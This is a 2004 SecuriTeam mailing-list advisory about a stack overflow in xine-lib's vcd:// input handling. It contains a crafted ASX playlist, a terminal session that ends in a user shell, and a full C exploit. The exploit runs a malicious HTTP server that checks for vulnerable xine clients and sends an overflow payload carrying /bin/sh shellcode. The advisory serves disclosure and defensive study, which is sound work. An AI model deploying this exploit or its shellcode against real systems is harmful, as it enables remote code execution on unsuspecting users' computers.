[UNIX] XINE VCD Input Source Identifier Remote and Local Stack Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 08/09/04

  • Next message: SecuriTeam: "[NT] PuTTY and PSCP Multiple Heap Overflow Vulnerabilities"
    To: list@securiteam.com
    Date: 9 Aug 2004 19:37:24 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      XINE VCD Input Source Identifier Remote and Local Stack Overflow
    ------------------------------------------------------------------------

    SUMMARY

    " <http://xinehq.de/> XINE is a free multimedia player. It plays back CDs,
    DVDs, and VCDs. It also decodes multimedia files like AVI, MOV, WMV, and
    MP3 from local disk drives, and displays multimedia streamed over the
    Internet. It interprets many of the most common multimedia formats
    available and some of the most uncommon formats, too."

    There is a generic stack based buffer overflow in all versions of
    Xine-lib, including Xine-lib-rc5 that allows for local and remote
    malicious code execution. A proof-of-concept and exploit code is provided
    as well.

    DETAILS

    Vulnerable Systems:
     * Any XINE player based on xine-lib version 1.0-rc5 or prior

    By overflowing the vcd:// input source identifier buffer, it is possible
    to modify the instruction pointer with a value that a malicious attacker
    can control. The issue can be replicated in a remote context by embedding
    the input source idientifier within a playlist file, such as an ASX file.
    When the user plays the file, the overflow is triggered and code execution
    occurs with the privileges of the user running xine.

    The problem is not restricted to only ASX extensions but to any media
    file. This is because XINE attempts to play any media type found, assuming
    it's valid. The malicious file must include the ASX input identifier but
    the consequence of this is that a user cannot trust any URLs leading to
    media files such as .mp3, .mpg, .mpeg and .avi. As long as XINE finds a
    media header in the file it will change the demuxer reference and play the
    file.

    Any of the following demuxors will work when running against the attached
    POC server:
      xine --no-splash http://sunscreen/opensecurity.asx
      xine --no-splash http://sunscreen/opensecurity.mp3
      xine --no-splash http://sunscreen/opensecurity.mpg
      xine --no-splash http://sunscreen/opensecurity.mpeg
      xine --no-splash http://sunscreen/opensecurity.wma
      xine --no-splash http://sunscreen/opensecurity.avi
      xine --no-splash http://sunscreen/blah.blah
      xine --no-splash http://sunscreen/

    Due to some memory and opcode corruption issues it might not be trivial to
    exploit the vulnerability and perform successful code execution. However
    it is easily defeated
    by either jmp'ing over the corrupt few bytes or by placing the shellcode
    into the buffer at some known good location. An example of a malicious ASX
    file can be seen below:
     sunscreen$ cat open-security.asx
    <asx version = "3.0">
      <title>Open Security Media Archive</title>
      <author>Brought to you by c0ntex[at]open-security.org</author>
         <abstract>
         SongList:
         Track 1 - Open Security Rock(s) -> SOAD - Chop Suey
         Track 2 - Open Security Rock(s) -> Media Mayhem Militia
         </abstract>
             <entry>
             <title>System Of A Down - Chop Suey</title>
             <author>c0ntex[at]open-security.org</author>
             <copyright> 2004</copyright>
             <Ref href = "http://sunscreen/SOAD-ChopSuey.mp3"/>
             </entry>
             <entry>
             <title>All your media are belong to us!</title>
             <author>c0ntex[at]open-security.org</author>
             <copyright> 2004</copyright>
             <Ref href = "vcd://

     

     

     

     

     
    ????> "/>
             </entry>
      </asx>

    The example proof of concept yields the following results when run:
    sunscreen$ gcc -o xinesmine xinesmine.c -lsocket -lnsl
    sunscreen$ ./xinesmine -a 0 -p 80

    ** Xines_Mine - Remote proof of concept example **

    [-] Uses .asx header reference to make Xine think it has valid
    [-] reference file, then a crafted package is sent to overflow
    [-] the vulnerable client && prove remote exploit concept.
    [-] c0ntex[at]open-security.org {} http://www.open-security.org

    -> Listening for a connection on port 80

    [c0ntex@exploited xine]$ ./xine --no-splash
    http://sunscreen/opensecurity.asx
    This is xine (X11 gui) - a free video player v0.99.2.
    (c) 2000-2004 The xine Team.
    Playlist file (http://sunscreen/opensecurity.asx) is invalid.
    WARN: could not retrieve file info for `image.nrg': No such file or
    directory
    WARN: init failed
    WARN: open(

    1?Ph//shh/bin??PS??1 ':
    File name too long
    WARN: could not retrieve file info for `

    1?Ph//shh/bin??PS??1 ':
    File name too long
    WARN: init failed
    bash-2.05$

    A detailed description of the bug leading to this vulnerability can be
    found in the CVS log for this bug, at
    <http://sourceforge.net/mailarchive/forum.php?thread_id=5143955&forum_id=11923> http://sourceforge.net/mailarchive/forum.php?thread_id=5143955&forum_id=11923.

    The official Xine advisory on the issue can be found at
    <http://www.open-security.org/advisories/advisories.html>
    http://www.open-security.org/advisories/advisories.html.

    Disclosure Timeline
     * Xine bug discovered 22nd May 2004
     * Xine bug research completed 24th May 2004
     * Xine developers contacted 11th July 2004
     * Xine bug public release 8th August 2004

    Exploit
    #include <errno.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>

    #ifdef linux
     #include <getopt.h>
    #endif

    #define SUCCESS 0
    #define FAILURE 1

    #define BUFFER 1044
    #define CDATA 150
    #define JMP 200

    #define THREAT "xine/1-rc5"
    #define XPLOIT_OS Redhat9

    #define example(OhNoo) fprintf(stderr, "Usage: ./xines_mine -a
    <align_val> -p <port>\n\n", OhNoo);

    void die(char * errtrap);
    void banner(void);
    int prepsock(int align_stack, int port);
    int pkg_send(int clisock_fd, int align_stack, char * pload, char *
    payload);
    int main(int argc, char ** argv);

    static char * http[] = {
         "HTTP/1.0 200 OK\r\n",
         "Date: Thu, 23 May 2004 12:52:15 GMT\r\n",
         "Server: Xines_Mine Server(Linux)\r\n",
         "MIME-version: 1.0\r\n",
         "Content-Type: audio/x-mpegurl\r\n",
         "Content-Length: 2000\r\n",
         "Connection: close\r\n",
         "\r\n"
    };

    static char * vcdmuxor[] = {
         "<ASX version = \"3.0\">\r\n",
         "<TITLE>Xines_Mine</TITLE>\r\n",
         "<AUTHOR> c0ntex[at]open-security.org
    www.open-security.org</AUTHOR>\r\n",
         "<ENTRY>\r\n",
         "<ref href=\"vcd://",
         "\"/>\r\n",
         "</ENTRY>\r\n",
         "</ASX>\r\n",
         "\r\n"
    };

    static char opcode[] =
    "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
     
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                     "\x80\x31\xc0\x31\xdb\xfe\xc0\xcd\x80";

    void
    die(char * errtrap)
    {
        perror(errtrap);
        _exit(FAILURE);
        //exit(1);
    }

    void
    banner(void)
    {
        fprintf(stderr, "\n ** Xines_Mine - Remote proof of concept example
     **\n\n");
        fprintf(stderr, "[-] Uses .asx header reference to make Xine think it
    has valid\n");
        fprintf(stderr, "[-] reference file, then a crafted package is sent to
    overflow\n");
        fprintf(stderr, "[-] the vulnerable client && prove remote exploit
    concept.\n");
        fprintf(stderr, "[-] c0ntex[at]open-security.org {}
    http://www.open-security.org \n\n");
    }

    int
    prepsock(int align_stack, int port)
    {
        unsigned int cl_buf, recv_chk, reuse = 1;
        unsigned int clisock_fd;

        signed int sock_fd;

        static char chk_vuln[CDATA];
        static char payload[BUFFER];

        struct sockaddr_in victimised, xine;

        char *pload = (char *) &opcode;

        ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        ? die("Could not create socket")
        : (setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse,
    sizeof(int)) == -1)
           ? die("Could not re-use socket")
            : memset(&xine, 0, sizeof(xine));

        xine.sin_family = AF_INET;
        xine.sin_port = htons(port);
        xine.sin_addr.s_addr = htonl(INADDR_ANY);

        if(bind(sock_fd, (struct sockaddr *)&xine, sizeof(struct
    sockaddr)) == -1) {
        close(sock_fd); die("Could not bind socket");
        }

        if(listen(sock_fd, 0) == -1) {
            close(sock_fd); die("Could not listen on socket");
        }

        printf(" -> Listening for a connection on port %d\n", port);

        cl_buf = sizeof(victimised);
        clisock_fd = accept(sock_fd, (struct sockaddr *)&victimised,
    &cl_buf);

        if(!clisock_fd) {
        die("Could not accept connection\n");
        }

        if(!close(sock_fd)) {
        fprintf(stderr, "Could not close socket\n");
        }

        fprintf(stderr, " -> Action: Attaching from host [%s]\n",
    inet_ntoa(victimised.sin_addr));
        fprintf(stderr, " -> Using align [%d] and port [%d]\n",
    align_stack, port);

        //memset(chk_vuln, 0, CDATA);
        memset(chk_vuln, 0, sizeof(chk_vuln));

        recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln), 0);
        chk_vuln[recv_chk+1] = '\0';

        if((recv_chk == -1) || (recv_chk == 0)) {
            fprintf(stderr, "Could not receive data from client\n");
        }

        if(strstr(chk_vuln, THREAT)) {
            fprintf(stderr, " -> Detected vulnerable Xine version\n");
        }else{
            fprintf(stderr, " -> Detected a non-Xine connection,
    end.\n");
             close(clisock_fd); die("Ending connection, not a Xine client\n");
        }

        if(pkg_send(clisock_fd, align_stack, pload, payload) == 1) {
            fprintf(stderr, "Could not send package\n");
            close(clisock_fd); die("Could not send package!\n");
        }

        if(close(clisock_fd) != 0) {
            fprintf(stderr, "Could not close socket\n");
        }

        return clisock_fd;
        //return SUCCESS;
    }

    int
    pkg_send(int clisock_fd, int align_stack, char * pload, char * payload)
    {
        unsigned int i = 0;

         memset(payload, 0, BUFFER);

         for(i = (BUFFER - JMP + align_stack); i < BUFFER; i += 4) {
            payload[i] = 0xbc;
            payload[i+1] = 0xe7;
            payload[i+2] = 0x7f;
            payload[i+3] = 0xbf;
         }

         for (i = 0; i < (BUFFER - 33 - 20); i += 2) {//7 ) {
             payload[i] = 0x4d;
            payload[i+1] = 0x45;
             //payload[i+1] = 0x63;
             //payload[i+1] = 0x30;
             //payload[i+1] = 0x6e;
             //payload[i+1] = 0x74;
             //payload[i+1] = 0x65;
             //payload[i+1] = 0x78;
             //payload[i+1] = 0x90;
        }

         memcpy(payload + i, pload, strlen(pload));

         payload[1045] = 0x00;

         fprintf(stderr, " -> Payload size to send is [%4d]\n",
    strlen(payload));
         fprintf(stderr, " -> Sending evil payload to our client\n");
    fflush(stderr);

         for (i = 0; i < 8; i++)
             if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {
                 close(clisock_fd); die("Could not send HTTP
    header");
             }fprintf(stderr, "\t- Sending valid HTTP header..\n");
    sleep(1);

         for (i = 0; i < 5; i++)
             if(send(clisock_fd, vcdmuxor[i], strlen(vcdmuxor[i]),
    0) == -1) {
                 close(clisock_fd); die("Could not send asx
    header");
             }fprintf(stderr, "\t- Sending starter asx header..\n");
    sleep(1);

         if(send(clisock_fd, payload, strlen(payload), 0) == -1) {
             close(clisock_fd); die("Could not send payload");
         }fprintf(stderr, "\t- Sending payload package..\n"); sleep(1);

         for (i = 5; i < 9; i++)
             if(send(clisock_fd, vcdmuxor[i], strlen(vcdmuxor[i]),
    0) == -1) {
                 close(clisock_fd); die("Could not send asx
    header");
             }fprintf(stderr, "\t- Sending cleanup asx header..\n");

         return EXIT_SUCCESS;
    }

    int
    main(int argc, char ** argv)
    {
         unsigned int align_stack = 0, port = 80;
         unsigned int opts;

        static char * exploit = NULL;

         if(argc < 2) {
             goto jumpout;
         }banner();

         while((opts = getopt(argc, argv, "a:p:")) != -1) {
             switch(opts)
                 {
                 case 'a':
                     align_stack = atoi(optarg);
                    if((align_stack < 0) || (align_stack > 3)) {
                        goto jumpout;
                    }
                    break;
                case 'p':
                    port = atoi(optarg);
                    if((port < 0) || (port > 65535)) {
                        goto jumpout;
                    }
                    break;
                 default:
                    goto jumpout;
                    break;
                 }
         }

         if(prepsock(align_stack, port) == -1) {
             fprintf(stderr, "Error\n");
             _exit(FAILURE);
         } fprintf(stderr, " -> Test complete\n\n");

         return EXIT_SUCCESS;

        jumpout:
            banner();
            example(exploit);
            return EXIT_FAILURE;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:c0ntex@open-security.org>
    c0ntex.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] PuTTY and PSCP Multiple Heap Overflow Vulnerabilities"

    Relevant Pages